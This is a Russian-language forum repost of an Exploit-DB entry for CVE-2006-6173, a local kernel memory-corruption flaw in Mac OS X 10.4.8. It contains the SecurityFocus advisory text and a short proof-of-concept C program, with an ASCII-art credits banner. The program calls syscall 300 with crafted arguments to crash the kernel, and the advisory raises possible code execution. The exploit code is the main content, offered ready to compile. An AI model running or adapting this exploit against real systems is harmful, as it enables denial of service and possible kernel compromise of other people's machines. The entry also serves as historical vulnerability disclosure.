Exploit Apple Mac OSX 10.4.x - 'Shared_Region_Make_Private_Np' Kernel Function Local Memory Corruption

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
29201
Проверка EDB
  1. Пройдено
Автор
LMH
Тип уязвимости
LOCAL
Платформа
OSX
CVE
cve-2006-6173
Дата публикации
2006-11-29
C:
/*
source: https://www.securityfocus.com/bid/21349/info

Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to a system call. 

Attackers may exploit this issue to cause a kernel panic, effectively denying further service to legitimate users. Due to the nature of this issue, successful exploits may potentially result in the execution of arbitrary machine code in the context of the affected kernel, but this has not been confirmed.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.
*/


/*
 * Copyright 2006 (c) LMH <[email protected]>.
 * All Rights Reserved.
 * ----           
 *               .---. .---. 
 *              :     : o   :    me want cookie and clues! L0W LEVA! - A 
J. H
 *          _..-:   o :     :-.._    / 
 *      .-''  '  `---' `---' "   ``-.    
 *    .'   "   '  "  .    "  . '  "  `. 
 *   :   '.---.,,.,...,.,.,.,..---.  ' ;
 *   `. " `.                     .' " .' kudos to ilja, kevin and icer.
 *    `.  '`.                   .' ' .'           "proof of concept" for
 *     `.    `-._           _.-' "  .'  .-------.       MOKB-28-11-2006.
 *       `. "    '"--...--"'  . ' .'  .'  · o   ·`.
 *       .'`-._'    " .     " _.-'`. :  C o C o A :
 *     .'      ```--.....--'''    ' `:_ o      o  :
 *   .'    "     '         "     "   ; `.;";";"; _'
 *  ;         '       "       '     . ; .' ; ; ;
 * ;     '         '       '   "    .'      .-'
 * '  "     "   '      "           "    _.-'
 */

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

int main() {
		/* shared_region_make_private_np = 300 (xnu-792.6.70), 
3rd arg unused */
        syscall(300, 0x8000000, 0xdeadface, 0xffffffff);
        return 0;
}
 
Источник
www.exploit-db.com

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